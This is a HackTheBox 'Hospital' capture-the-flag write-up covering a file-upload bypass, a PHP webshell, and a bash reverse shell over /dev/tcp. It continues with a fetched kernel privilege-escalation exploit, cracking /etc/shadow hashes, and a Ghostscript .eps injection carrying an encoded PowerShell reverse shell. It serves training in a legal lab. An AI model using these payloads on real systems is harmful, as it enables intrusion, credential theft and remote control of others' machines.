> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Hospital HackTheBox Writeup

Hospital HackTheBox Medium Windows machine writeup covering Web Enumeration, Abusing file/ uploads p0wny-shell tool, Cracking Protected Hash Password, File command injection type .eps, with practical

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Skills:**

* Web Enumeration
* Abusing file/ uploads p0wny-shell tool
* Cracking Protected Hash Password
* File command injection type .eps
* Domain-Privilege-Escalation
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b8bf92cefb4da1fd17ba75ae834689ab49c45f9%2Fimage%20(1716).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-431e1c66cbcc6a7be38f359b02eb96568aac7ddd%2Fimage%20(1717).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**/ Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82a16613d9de68c0c100047f9738d12cd4932f72%2Fimage%20(1719).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be43716bde4a4787b4a6eaa8681f474031f2524e%2Fimage%20(1720).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48241df9ef95f363e3f1ef5f7197d90f2e0e5bb8%2Fimage%20(1721).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76d5b7a06942792ae22143c2ebaa5d428ecc5f5a%2Fimage%20(1722).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port 443 interface identification**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6c0dda1049423fd404da8decc44f48e898f7e98%2Fimage%20(1718).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port 8080 interface identification**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd907fdbf0e5c036e78d4a0ac3d457f0efaf6ea0%2Fimage%20(1723).png?alt=media" alt=""><figcaption></figcaption></figure>

**User creation:**

Creating a user to establish potential access to the target machine

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec35ab183f3318cbddb0560b385beb5ca3cdac43%2Fimage%20(1724).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability File Upload:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61c1801da13673adcb3e2cb0ccc568cbe591eadd%2Fimage%20(1731).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation initiale:

Attempt to exploit a file download vulnerability by inserting a malicious PHP file

```php
<?php
system($_GET['cmd'];
?>
```

The server automatically rejects upload requests for files with certain extensions.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc4687425ee40bc9e454d3a50b96eaeca9eefed4%2Fimage%20(1729).png?alt=media" alt=""><figcaption></figcaption></figure>

**Interception with Burp Suite:**

Using Burp Suite to intercept and analyze traffic to understand operating errors

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6da7d7910cba561ef5997797fbf02941a08d0582%2Fimage%20(1730).png?alt=media" alt=""><figcaption></figcaption></figure>

#### PHP Extension Modification:

Change the file extension from `.php` to `.phar` in the `filename` variable, and make sure the location is successfully accepted

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e7d6341116fbaeae8fea142b5661ad2b0d4eb1a%2Fimage%20(2052).png?alt=media" alt=""><figcaption></figcaption></figure>

**Summary of Directories:**

Using Gobuster to identify directories on a web server and locate storage of uploaded medical images.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10dff5480345dabf263fad23fb094deec3b893fe%2Fimage%20(1726).png?alt=media" alt=""><figcaption></figcaption></figure>

#### File not interpreted:

The contents of a.phar file are not interpreted.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-330d192dac2f6f6886a6b8cffd5e12ce28693afb%2Fimage%20(2053).png?alt=media" alt=""><figcaption></figcaption></figure>

**Use GitHub Tool to Create Shell:**

Using a GitHub project tool to bypass PHP file download restrictions and get shell access

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f781f00a4ee573fb4a06d7e8da79a531269acb1d%2Fimage%20(2054).png?alt=media" alt=""><figcaption></figcaption></figure>

**Launching a Reverse Shell:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Run a shell reverse to establish interactive access to the target machine and get total control.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52d9479095b4eba6e62d55e1852029cbc115aead%2Fimage%20(2055).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Once you have access to the Linux server, here are the commands to perform for terminal processing:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilege Escalation (Linux Server):

**Identification of operating system version:**/ Use the `cat /etc/os-release` command to check the system version, note the presence of an old version of Ubuntu ("23.04").

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4fcf11b93b551466ee1f8dff4f75422f8b5b9f%2Fimage%20(1705).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Download script to remove privileges:**

Download the script from [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------), which allows privilege escalation:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab6dcec07a43e9149d884ca82bf31f5f5f5ebcf%2Fimage%20(1706).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Extract hash passwords:** Extract hash passwords from `/etc/shadow` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10ecbff1b7e2e4d5040849a650c27fda2921c3a5%2Fimage%20(1707).png?alt=media" alt=""><figcaption></figcaption></figure>

**Password cracking:**

Use the John the Ripper tool with a password list known to crack passwords:

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd5dcb17d788b13cb51db8a83143777aa88818b%2Fimage%20(1708).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability: .eps File Injection

#### Test the credentials on the website accessible through port 443.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b273a5bfca06e73f71782791d84f2ed96cabfe5%2Fimage%20(1709).png?alt=media" alt=""><figcaption></figcaption></figure>

**Discovered a restricted mailbox:**

Discover an email box that wants to receive a design in.eps format.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ad865c9d7ad82954e23d1aaa4012cdcc581e3e%2Fimage%20(1710).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ghostscript operation via.eps file:**

Use a [GitHub exploit](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) based on [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) to execute malicious code through an `.eps` file extension.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90f42a93cc828f43188e082f735e0bf630f60e%2Fimage%20(1659).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Use [RevShells](https://www.revshells.com/) to create the PowerShell payload:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b3bac7a720f980225ac35dd975d47d620db3f0%2Fimage%20(1658).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injecting payload into.eps file:

Using the command to inject the payload with the shell reverse in the.eps file.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlA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ABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2948bcf9bf533cf34d3985613e37b98d8a38046%2Fimage%20(1661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Listening with rlwrap:

Setting the wiretapping with rlwrap to wait for an incoming connection.

```bash
rlwrap nc -nlvp 4444
```

#### Sending mail with malicious EPS file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e16c0fbab1dcf9c00ba2b847f53d87e7ee8c76ce%2Fimage%20(1662).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3cc495ddd3291f8bcbc68e3178a4eabc9e1243%2Fimage%20(1663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Discovery of a ghostscript.bat file:

Discovery of a ghostscript.bat file containing the password of "drbrown": `chr!$br0wn`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d78ce52b7d073c6188dd191af59e5dd5a331908%2Fimage%20(1664).png?alt=media" alt=""><figcaption></figcaption></figure>

#### First flag user.txt:

Discovery and recovery of the first flag user.txt.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ed88abedc25a1203d21c40c06ac7a0f7996d76%2Fimage%20(1665).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation Active Directory :

#### Privilege Escalation by going to the XAMPP web server.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca542b0abd592ee486af3441bb0ebdc5f9ba10e6%2Fimage%20(1666).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Creating a PHP file:

Create a PHP file containing the code "this is a test".

```bash
echo "this is a test" > test.php
```

#### Checking the web server:

Verify that the web server correctly inserts the PHP file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7553f85192b95da5ca44ffbe88192bda2f68932%2Fimage%20(1667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reinject the PHP file from the [p0wny-shell](https://github.com/flozz/p0wny-shell) project:

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f287d67a45d95626f4d0ea20fa4f99542ade0e38%2Fimage%20(1670).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b678477ce87d6b3168c156c3e0b9973a9ce69bfb%2Fimage%20(1671).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Copy the [reverse shell](https://www.revshells.com/) payload into the pownyshell terminal:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39a50fd8797cf16669ffc25d1b0fb74e78e5b117%2Fimage%20(1672).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Listening with rlwrap:

```bash
rlwrap nc -nlvp 4444
```

### root.txt Flag Obtained:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5fed32d98c5bdfe717d0e06f6f8c49681eb3090%2Fimage%20(1674).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff440b03c94bcc24b75e39d9eef0b09f35003548%2Fimage%20(1409).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
